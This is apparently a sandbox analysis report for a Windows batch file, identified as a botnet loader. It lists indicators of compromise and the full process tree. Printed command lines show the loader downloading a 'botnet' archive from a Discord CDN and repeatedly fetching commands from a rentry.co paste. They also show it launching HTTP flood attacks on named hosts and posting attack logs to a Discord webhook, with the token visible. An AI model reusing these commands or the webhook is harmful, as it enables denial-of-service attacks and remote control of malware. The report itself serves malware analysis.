ad80a704ac0ce9868279a0a3d4e85a2582aff13a9e24a0b46478800fa341b260

Analysis

max time kernel
1788s
max time network
1805s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
18/08/2023, 00:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2.bat
Size

779B
MD5

f80b95d6836f18d936105783c4e2c186
SHA1

b95ee9d9ea1d9df6d5dc16ffb400f34a497823a6
SHA256

ad80a704ac0ce9868279a0a3d4e85a2582aff13a9e24a0b46478800fa341b260
SHA512

c50803b213cda537b254633ad48c70bff055b04fdb99829e898d2c7626a24d018709b35dc92f1e89b217f9bb6efafbd2e5074a32e307a89830b8453b4bee1291

Score

9^/10

discovery

Malware Config

Signatures

Contacts a large (7973) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Executes dropped EXE 10 IoCs

pid	Process
2908	forvmbox.exe
5092	https.exe
516	https.exe
116	https.exe
4308	https.exe
3308	https.exe
420	https.exe
3780	https.exe
3588	https.exe
4652	https.exe

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Delays execution with timeout.exe 64 IoCs

evasion

pid	Process
2460	timeout.exe
3248	timeout.exe
4752	timeout.exe
1700	timeout.exe
2024	timeout.exe
912	timeout.exe
4000	timeout.exe
3196	timeout.exe
3008	timeout.exe
3428	timeout.exe
4860	timeout.exe
1328	timeout.exe
3680	timeout.exe
4336	timeout.exe
3452	timeout.exe
4312	timeout.exe
4564	timeout.exe
3592	timeout.exe
2948	timeout.exe
1600	timeout.exe
4964	timeout.exe
2316	timeout.exe
4944	timeout.exe
3624	timeout.exe
4876	timeout.exe
1856	timeout.exe
2972	timeout.exe
1852	timeout.exe
5000	timeout.exe
3096	timeout.exe
2552	timeout.exe
2612	timeout.exe
2028	timeout.exe
1796	timeout.exe
2228	timeout.exe
3872	timeout.exe
2024	timeout.exe
1148	timeout.exe
3232	timeout.exe
4820	timeout.exe
2304	timeout.exe
456	timeout.exe
3740	timeout.exe
224	timeout.exe
4920	timeout.exe
2952	timeout.exe
3476	timeout.exe
3308	timeout.exe
4800	timeout.exe
4816	timeout.exe
4960	timeout.exe
4836	timeout.exe
2072	timeout.exe
5080	timeout.exe
4920	timeout.exe
4448	timeout.exe
60	timeout.exe
3168	timeout.exe
5040	timeout.exe
3044	timeout.exe
3600	timeout.exe
1600	timeout.exe
1384	timeout.exe
3732	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3212	powershell.exe
3212	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3212	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1940 wrote to memory of 1964	1940	cmd.exe	82
PID 1940 wrote to memory of 1964	1940	cmd.exe	82
PID 1940 wrote to memory of 3212	1940	cmd.exe	87
PID 1940 wrote to memory of 3212	1940	cmd.exe	87
PID 1940 wrote to memory of 2908	1940	cmd.exe	95
PID 1940 wrote to memory of 2908	1940	cmd.exe	95
PID 1940 wrote to memory of 2908	1940	cmd.exe	95
PID 1940 wrote to memory of 4472	1940	cmd.exe	96
PID 1940 wrote to memory of 4472	1940	cmd.exe	96
PID 4472 wrote to memory of 4756	4472	cmd.exe	97
PID 4472 wrote to memory of 4756	4472	cmd.exe	97
PID 4472 wrote to memory of 4816	4472	cmd.exe	98
PID 4472 wrote to memory of 4816	4472	cmd.exe	98
PID 1940 wrote to memory of 1696	1940	cmd.exe	100
PID 1940 wrote to memory of 1696	1940	cmd.exe	100
PID 2908 wrote to memory of 3228	2908	forvmbox.exe	101
PID 2908 wrote to memory of 3228	2908	forvmbox.exe	101
PID 3228 wrote to memory of 4220	3228	cmd.exe	102
PID 3228 wrote to memory of 4220	3228	cmd.exe	102
PID 3228 wrote to memory of 4392	3228	cmd.exe	103
PID 3228 wrote to memory of 4392	3228	cmd.exe	103
PID 3228 wrote to memory of 5092	3228	cmd.exe	104
PID 3228 wrote to memory of 5092	3228	cmd.exe	104
PID 3228 wrote to memory of 2056	3228	cmd.exe	105
PID 3228 wrote to memory of 2056	3228	cmd.exe	105
PID 3228 wrote to memory of 3396	3228	cmd.exe	106
PID 3228 wrote to memory of 3396	3228	cmd.exe	106
PID 3228 wrote to memory of 3212	3228	cmd.exe	108
PID 3228 wrote to memory of 3212	3228	cmd.exe	108
PID 3228 wrote to memory of 4960	3228	cmd.exe	109
PID 3228 wrote to memory of 4960	3228	cmd.exe	109
PID 3228 wrote to memory of 4416	3228	cmd.exe	110
PID 3228 wrote to memory of 4416	3228	cmd.exe	110
PID 3228 wrote to memory of 1356	3228	cmd.exe	111
PID 3228 wrote to memory of 1356	3228	cmd.exe	111
PID 3228 wrote to memory of 3056	3228	cmd.exe	112
PID 3228 wrote to memory of 3056	3228	cmd.exe	112
PID 3228 wrote to memory of 1692	3228	cmd.exe	113
PID 3228 wrote to memory of 1692	3228	cmd.exe	113
PID 3228 wrote to memory of 2220	3228	cmd.exe	114
PID 3228 wrote to memory of 2220	3228	cmd.exe	114
PID 3228 wrote to memory of 3852	3228	cmd.exe	115
PID 3228 wrote to memory of 3852	3228	cmd.exe	115
PID 3228 wrote to memory of 3300	3228	cmd.exe	116
PID 3228 wrote to memory of 3300	3228	cmd.exe	116
PID 3228 wrote to memory of 456	3228	cmd.exe	117
PID 3228 wrote to memory of 456	3228	cmd.exe	117
PID 3228 wrote to memory of 1640	3228	cmd.exe	118
PID 3228 wrote to memory of 1640	3228	cmd.exe	118
PID 3228 wrote to memory of 3480	3228	cmd.exe	119
PID 3228 wrote to memory of 3480	3228	cmd.exe	119
PID 3228 wrote to memory of 4120	3228	cmd.exe	120
PID 3228 wrote to memory of 4120	3228	cmd.exe	120
PID 3228 wrote to memory of 1964	3228	cmd.exe	121
PID 3228 wrote to memory of 1964	3228	cmd.exe	121
PID 3228 wrote to memory of 3452	3228	cmd.exe	122
PID 3228 wrote to memory of 3452	3228	cmd.exe	122
PID 3228 wrote to memory of 3428	3228	cmd.exe	123
PID 3228 wrote to memory of 3428	3228	cmd.exe	123
PID 3228 wrote to memory of 2268	3228	cmd.exe	124
PID 3228 wrote to memory of 2268	3228	cmd.exe	124
PID 3228 wrote to memory of 3680	3228	cmd.exe	125
PID 3228 wrote to memory of 3680	3228	cmd.exe	125
PID 3228 wrote to memory of 3900	3228	cmd.exe	126

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1940
- C:\Windows\system32\curl.exe
  curl -o botnet.zip https://cdn.discordapp.com/attachments/1134556559578517677/1141848588612276304/botney.zip
  2⤵
  PID:1964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Expand-Archive -Path 'botnet.zip' -DestinationPath 'C:\Users\Admin\Desktop'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3212
- C:\Users\Admin\Desktop\forvmbox.exe
  forvmbox.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2908
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A2C3.tmp\A2D4.tmp\A2D5.bat C:\Users\Admin\Desktop\forvmbox.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3228
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4220
  - - C:\Windows\system32\curl.exe
      curl -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": null, \"embeds\": [{\"title\": \"Attack :=: https http://88.198.59.166/cc 15000 60 {}\", \"description\": \" Fri 08/18/2023-60 / \",\"color\": 1127128,\"author\": {\"name\": \"MLBOT BOTNET API LOG\",\"icon_url\": \"https://cdn.discordapp.com/attachments/353651119685107714/1078725179850637372/danger_death_head_internet_security_skull_virus_icon_127111.png\"}}],\"attachments\": []}" https://discord.com/api/webhooks/1140675610524532868/T1taUTk6bStR2J1f9uoXFj7PQAMLD1T1yXMewAm481PLreURT2PLhzfvxpkEb4JO9VJy
      4⤵
      PID:4392
  - - C:\Users\Admin\Desktop\attacks\methods\https.exe
      https.exe http://88.198.59.166/cc 60
      4⤵
      Executes dropped EXE
      PID:5092
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2056
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3396
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3212
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4960
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4416
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1356
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3056
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1692
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2220
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3852
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3300
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:456
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1640
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3480
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4120
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1964
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3452
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3428
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2268
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3680
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3900
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4232
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4964
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:948
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:932
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:712
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1556
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2188
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1316
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3732
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2420
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:696
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4784
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:960
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4060
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4644
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1184
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3464
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2780
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5040
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4412
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4684
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:912
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1768
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1896
  - - C:\Windows\system32\curl.exe
      curl -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": null, \"embeds\": [{\"title\": \"Attack :=: https http://88.198.59.166/cc 17000 60 {}\", \"description\": \" Fri 08/18/2023-60 / \",\"color\": 1127128,\"author\": {\"name\": \"MLBOT BOTNET API LOG\",\"icon_url\": \"https://cdn.discordapp.com/attachments/353651119685107714/1078725179850637372/danger_death_head_internet_security_skull_virus_icon_127111.png\"}}],\"attachments\": []}" https://discord.com/api/webhooks/1140675610524532868/T1taUTk6bStR2J1f9uoXFj7PQAMLD1T1yXMewAm481PLreURT2PLhzfvxpkEb4JO9VJy
      4⤵
      PID:1164
  - - C:\Users\Admin\Desktop\attacks\methods\https.exe
      https.exe http://88.198.59.166/cc 60
      4⤵
      Executes dropped EXE
      PID:516
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3508
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4124
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1072
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5032
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1772
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4660
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1924
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4996
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4844
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4084
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1656
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4412
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4612
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4320
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3612
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4240
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:512
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2496
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1120
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1384
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:32
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4920
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2292
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2992
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1780
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1148
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3212
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2620
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:992
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4860
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4816
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3232
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:728
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4396
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1576
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3636
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4300
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4448
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:460
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3028
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4576
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2952
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2060
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1828
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4984
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4372
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2412
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5044
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4896
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3656
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3204
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:676
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4916
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4840
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2276
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4556
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1420
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4332
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2176
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1068
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3868
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4188
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3160
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1328
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1428
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3476
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5048
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1600
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:232
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4908
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3792
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4752
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4784
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2228
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5032
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1772
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:532
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4196
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3588
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1492
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1572
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3920
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1656
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1700
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4924
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5072
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4876
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4612
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1076
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:848
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4080
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5000
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1164
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3420
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4760
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2948
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3924
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:32
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2292
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4212
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5056
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3964
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1904
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4820
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4416
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4860
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1088
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2024
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:536
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4564
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5016
  - - C:\Windows\system32\curl.exe
      curl -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": null, \"embeds\": [{\"title\": \"Attack :=: https https://dose.lol/ 15000 50 {}\", \"description\": \" Fri 08/18/2023-50 / \",\"color\": 1127128,\"author\": {\"name\": \"MLBOT BOTNET API LOG\",\"icon_url\": \"https://cdn.discordapp.com/attachments/353651119685107714/1078725179850637372/danger_death_head_internet_security_skull_virus_icon_127111.png\"}}],\"attachments\": []}" https://discord.com/api/webhooks/1140675610524532868/T1taUTk6bStR2J1f9uoXFj7PQAMLD1T1yXMewAm481PLreURT2PLhzfvxpkEb4JO9VJy
      4⤵
      PID:3300
  - - C:\Users\Admin\Desktop\attacks\methods\https.exe
      https.exe https://dose.lol/ 50
      4⤵
      Executes dropped EXE
      PID:116
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4012
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3732
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:404
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4648
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4144
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1368
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2032
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4224
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4060
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3424
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1284
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3860
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1924
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4196
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4936
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4836
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2752
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2880
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2404
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2624
